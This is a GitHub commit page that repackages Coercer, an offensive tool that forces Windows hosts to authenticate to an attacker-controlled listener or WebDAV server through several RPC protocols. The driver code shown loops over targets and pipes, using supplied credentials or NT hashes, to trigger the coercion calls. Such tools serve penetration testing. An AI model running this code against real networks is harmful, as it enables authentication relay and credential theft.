Skip to content

Commit

Permalink
Merge pull request #8 from p0dalirius/add-setup-py-installer
Browse files Browse the repository at this point in the history
Add setup py installer, fixes #7, release 1.5.1
  • Loading branch information
p0dalirius authored Jul 17, 2022
2 parents eff5dc9 + c1c1396 commit 6b6204e
Show file tree
Hide file tree
Showing 17 changed files with 328 additions and 142 deletions.
2 changes: 2 additions & 0 deletions MANIFEST.in
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
include requirements.txt
recursive-include coercer *
16 changes: 16 additions & 0 deletions Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
.PHONY : all clean build upload

all: install clean

clean:
@rm -rf `find ./ -type d -name "*__pycache__"`
@rm -rf ./build/ ./dist/ ./coercer.egg-info/

install: build
python3 setup.py install

build:
python3 setup.py sdist bdist_wheel

upload: build
twine upload dist/*
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ $ ./coercer.py -h
______
/ ____/___ ___ _____________ _____
/ / / __ \/ _ \/ ___/ ___/ _ \/ ___/
/ /___/ /_/ / __/ / / /__/ __/ / v1.4
/ /___/ /_/ / __/ / / /__/ __/ / v1.5.1
\____/\____/\___/_/ \___/\___/_/ by @podalirius_
usage: coercer.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [--hashes [LMHASH]:NTHASH] [--no-pass] [-v] [-a] [-k] [--dc-ip ip address] [-l LISTENER] [-wh WEBDAV_HOST] [-wp WEBDAV_PORT]
Expand Down
141 changes: 3 additions & 138 deletions coercer.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,145 +2,10 @@
# -*- coding: utf-8 -*-
# File name : coercer.py
# Author : Podalirius (@podalirius_)
# Date created : 6 Jul 2022
# Date created : 17 Jul 2022


import argparse
import os
import sys

from lib.protocols import MS_EFSR, MS_FSRVP, MS_DFSNM, MS_RPRN
from lib.utils.smb import connect_to_pipe, can_bind_to_protocol, get_available_pipes_and_protocols


VERSION = "1.4"

banner = """
______
/ ____/___ ___ _____________ _____
/ / / __ \/ _ \/ ___/ ___/ _ \/ ___/
/ /___/ /_/ / __/ / / /__/ __/ / v%s
\____/\____/\___/_/ \___/\___/_/ by @podalirius_
""" % VERSION


def parseArgs():
print(banner)
parser = argparse.ArgumentParser(add_help=True, description="Automatic windows authentication coercer over various RPC calls.")

parser.add_argument("-u", "--username", default="", help="Username to authenticate to the endpoint.")
parser.add_argument("-p", "--password", default="", help="Password to authenticate to the endpoint. (if omitted, it will be asked unless -no-pass is specified)")
parser.add_argument("-d", "--domain", default="", help="Windows domain name to authenticate to the endpoint.")
parser.add_argument("--hashes", action="store", metavar="[LMHASH]:NTHASH", help="NT/LM hashes (LM hash can be empty)")
parser.add_argument("--no-pass", action="store_true", help="Don't ask for password (useful for -k)")
parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode (default: False)")
parser.add_argument("-a", "--analyze", default=False, action="store_true", help="Analyze mode (default: Attack mode)")
parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line")
parser.add_argument("--dc-ip", action="store", metavar="ip address", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")

listener_group = parser.add_argument_group()
listener_group.add_argument("-l", "--listener", type=str, help="IP address or hostname of the listener machine")
listener_group.add_argument("-wh", "--webdav-host", default=None, type=str, help="WebDAV IP of the server to authenticate to.")
listener_group.add_argument("-wp", "--webdav-port", default=80, type=int, help="WebDAV port of the server to authenticate to.")

target_group = parser.add_mutually_exclusive_group(required=True)
target_group.add_argument("-t", "--target", default=None, help="IP address or hostname of the target machine")
target_group.add_argument("-f", "--targets-file", default=None, help="IP address or hostname of the target machine")
parser.add_argument("--target-ip", action="store", metavar="ip address", help="IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it")

options = parser.parse_args()

if options.listener is not None:
if options.webdav_host is not None:
print("[!] Option --listener cannot be used with --webdav-host")
sys.exit(0)
else:
# Only listener option
pass
else:
if options.webdav_host is not None and options.webdav_port is not None:
# All WebDAV options are not set
pass
else:
print("[!] Option --webdav-host is needed in WebDAV mode. (--webdav-port defaults to port 80)")
sys.exit(0)

if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash, nthash = '', ''

if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
from getpass import getpass
options.password = getpass("Password:")

return lmhash, nthash, options


def coerce_auth_target(options, target, lmhash, nthash, all_pipes, available_protocols):
for pipe in all_pipes:
dce = connect_to_pipe(pipe=pipe, username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=target, doKerberos=options.kerberos, dcHost=options.dc_ip, verbose=options.verbose)
if dce is not None:
print(" [>] Pipe '%s' is \x1b[1;92maccessible\x1b[0m!" % pipe)
for protocol in available_protocols:
if pipe in protocol.available_pipes:
dce = connect_to_pipe(pipe=pipe, username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=target, doKerberos=options.kerberos, dcHost=options.dc_ip, verbose=options.verbose)
if dce is not None:
if can_bind_to_protocol(dce, protocol.uuid, protocol.version, verbose=options.verbose):
protocol_instance = protocol(verbose=options.verbose)
protocol_instance.pipe = pipe
protocol_instance.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=target, doKerberos=options.kerberos, dcHost=options.dc_ip)
if options.webdav_host is not None and options.webdav_port is not None:
protocol_instance.webdav_host = options.webdav_host
protocol_instance.webdav_port = options.webdav_port
protocol_instance.perform_coerce_calls(options.listener)
elif options.listener is not None:
protocol_instance.perform_coerce_calls(options.listener)
else:
if options.verbose:
print(" [>] Pipe '%s' is \x1b[1;91mnot accessible\x1b[0m!" % pipe)


available_protocols = [
MS_DFSNM, MS_EFSR, MS_FSRVP, MS_RPRN
]

from coercer.__main__ import main

if __name__ == '__main__':
lmhash, nthash, options = parseArgs()

# Getting all pipes of implemented protocols
all_pipes = []
for protocol in available_protocols:
all_pipes += protocol.available_pipes
all_pipes = list(sorted(set(all_pipes)))
if options.verbose:
print("[debug] Detected %d usable pipes in implemented protocols." % len(all_pipes))

# Parsing targets
targets = []
if options.target is not None:
targets = [options.target]
elif options.targets_file is not None:
if os.path.exists(options.targets_file):
f = open(options.targets_file, 'r')
targets = sorted(list(set([l.strip() for l in f.readlines()])))
f.close()
if options.verbose:
print("[debug] Loaded %d targets." % len(targets))
else:
print("[!] Could not open targets file '%s'." % options.targets_file)
sys.exit(0)

for target in targets:
if options.analyze:
print("[%s] Analyzing available protocols on the remote machine and interesting calls ..." % target)
# Getting available pipes
get_available_pipes_and_protocols(options, target, lmhash, nthash, all_pipes, available_protocols)
else:
print("[%s] Analyzing available protocols on the remote machine and perform RPC calls to coerce authentication to %s ..." % (target, options.listener))
# Call interesting RPC functions to coerce remote machine to authenticate
coerce_auth_target(options, target, lmhash, nthash, all_pipes, available_protocols)
print()

print("[+] All done!")
main()
3 changes: 2 additions & 1 deletion lib/utils/__init__.py → coercer/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,4 +2,5 @@
# -*- coding: utf-8 -*-
# File name : __init__.py
# Author : Podalirius (@podalirius_)
# Date created : 6 Jul 2022
# Date created : 17 Jul 2022

149 changes: 149 additions & 0 deletions coercer/__main__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,149 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name : __main__.py
# Author : Podalirius (@podalirius_)
# Date created : 17 Jul 2022


import argparse
import os
import sys

from coercer.protocols import MS_EFSR, MS_FSRVP, MS_DFSNM, MS_RPRN
from coercer.utils.smb import connect_to_pipe, can_bind_to_protocol, get_available_pipes_and_protocols


VERSION = "1.5.1"

banner = """
______
/ ____/___ ___ _____________ _____
/ / / __ \/ _ \/ ___/ ___/ _ \/ ___/
/ /___/ /_/ / __/ / / /__/ __/ / v%s
\____/\____/\___/_/ \___/\___/_/ by @podalirius_
""" % VERSION


def parseArgs():
print(banner)
parser = argparse.ArgumentParser(add_help=True, description="Automatic windows authentication coercer over various RPC calls.")

parser.add_argument("-u", "--username", default="", help="Username to authenticate to the endpoint.")
parser.add_argument("-p", "--password", default="", help="Password to authenticate to the endpoint. (if omitted, it will be asked unless -no-pass is specified)")
parser.add_argument("-d", "--domain", default="", help="Windows domain name to authenticate to the endpoint.")
parser.add_argument("--hashes", action="store", metavar="[LMHASH]:NTHASH", help="NT/LM hashes (LM hash can be empty)")
parser.add_argument("--no-pass", action="store_true", help="Don't ask for password (useful for -k)")
parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode (default: False)")
parser.add_argument("-a", "--analyze", default=False, action="store_true", help="Analyze mode (default: Attack mode)")
parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line")
parser.add_argument("--dc-ip", action="store", metavar="ip address", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")

listener_group = parser.add_argument_group()
listener_group.add_argument("-l", "--listener", type=str, help="IP address or hostname of the listener machine")
listener_group.add_argument("-wh", "--webdav-host", default=None, type=str, help="WebDAV IP of the server to authenticate to.")
listener_group.add_argument("-wp", "--webdav-port", default=80, type=int, help="WebDAV port of the server to authenticate to.")

target_group = parser.add_mutually_exclusive_group(required=True)
target_group.add_argument("-t", "--target", default=None, help="IP address or hostname of the target machine")
target_group.add_argument("-f", "--targets-file", default=None, help="IP address or hostname of the target machine")
parser.add_argument("--target-ip", action="store", metavar="ip address", help="IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it")

options = parser.parse_args()

if options.listener is not None:
if options.webdav_host is not None:
print("[!] Option --listener cannot be used with --webdav-host")
sys.exit(0)
else:
# Only listener option
pass
else:
if options.webdav_host is not None and options.webdav_port is not None:
# All WebDAV options are not set
pass
else:
print("[!] Option --webdav-host is needed in WebDAV mode. (--webdav-port defaults to port 80)")
sys.exit(0)

if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash, nthash = '', ''

if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
from getpass import getpass
options.password = getpass("Password:")

return lmhash, nthash, options


def coerce_auth_target(options, target, lmhash, nthash, all_pipes, available_protocols):
for pipe in all_pipes:
dce = connect_to_pipe(pipe=pipe, username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=target, doKerberos=options.kerberos, dcHost=options.dc_ip, verbose=options.verbose)
if dce is not None:
print(" [>] Pipe '%s' is \x1b[1;92maccessible\x1b[0m!" % pipe)
for protocol in available_protocols:
if pipe in protocol.available_pipes:
dce = connect_to_pipe(pipe=pipe, username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=target, doKerberos=options.kerberos, dcHost=options.dc_ip, verbose=options.verbose)
if dce is not None:
if can_bind_to_protocol(dce, protocol.uuid, protocol.version, verbose=options.verbose):
protocol_instance = protocol(verbose=options.verbose)
protocol_instance.pipe = pipe
protocol_instance.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=target, doKerberos=options.kerberos, dcHost=options.dc_ip)
if options.webdav_host is not None and options.webdav_port is not None:
protocol_instance.webdav_host = options.webdav_host
protocol_instance.webdav_port = options.webdav_port
protocol_instance.perform_coerce_calls(options.listener)
elif options.listener is not None:
protocol_instance.perform_coerce_calls(options.listener)
else:
if options.verbose:
print(" [>] Pipe '%s' is \x1b[1;91mnot accessible\x1b[0m!" % pipe)


def main():
available_protocols = [
MS_DFSNM, MS_EFSR, MS_FSRVP, MS_RPRN
]

lmhash, nthash, options = parseArgs()

# Getting all pipes of implemented protocols
all_pipes = []
for protocol in available_protocols:
all_pipes += protocol.available_pipes
all_pipes = list(sorted(set(all_pipes)))
if options.verbose:
print("[debug] Detected %d usable pipes in implemented protocols." % len(all_pipes))

# Parsing targets
targets = []
if options.target is not None:
targets = [options.target]
elif options.targets_file is not None:
if os.path.exists(options.targets_file):
f = open(options.targets_file, 'r')
targets = sorted(list(set([l.strip() for l in f.readlines()])))
f.close()
if options.verbose:
print("[debug] Loaded %d targets." % len(targets))
else:
print("[!] Could not open targets file '%s'." % options.targets_file)
sys.exit(0)

for target in targets:
if options.analyze:
print("[%s] Analyzing available protocols on the remote machine and interesting calls ..." % target)
# Getting available pipes
get_available_pipes_and_protocols(options, target, lmhash, nthash, all_pipes, available_protocols)
else:
print("[%s] Analyzing available protocols on the remote machine and perform RPC calls to coerce authentication to %s ..." % (target, options.listener))
# Call interesting RPC functions to coerce remote machine to authenticate
coerce_auth_target(options, target, lmhash, nthash, all_pipes, available_protocols)
print()

print("[+] All done!")


if __name__ == '__main__':
main()
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
3 changes: 2 additions & 1 deletion lib/protocols/__init__.py → coercer/protocols/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,8 @@
# -*- coding: utf-8 -*-
# File name : __init__.py
# Author : Podalirius (@podalirius_)
# Date created : 6 Jul 2022
# Date created : 17 Jul 2022


from .MS_DFSNM import MS_DFSNM
from .MS_EFSR import MS_EFSR
Expand Down
15 changes: 15 additions & 0 deletions coercer/utils/Reporter.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name : Reporter.py
# Author : Podalirius (@podalirius_)
# Date created : 17 Jul 2022

class Reporter(object):
"""
Documentation for class Reporter
"""

def __init__(self):
super(Reporter, self).__init__()


2 changes: 1 addition & 1 deletion lib/__init__.py → coercer/utils/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,4 +2,4 @@
# -*- coding: utf-8 -*-
# File name : __init__.py
# Author : Podalirius (@podalirius_)
# Date created : 6 Jul 2022
# Date created : 17 Jul 2022
File renamed without changes.
1 change: 1 addition & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
impacket
Loading

0 comments on commit 6b6204e

Please sign in to comment.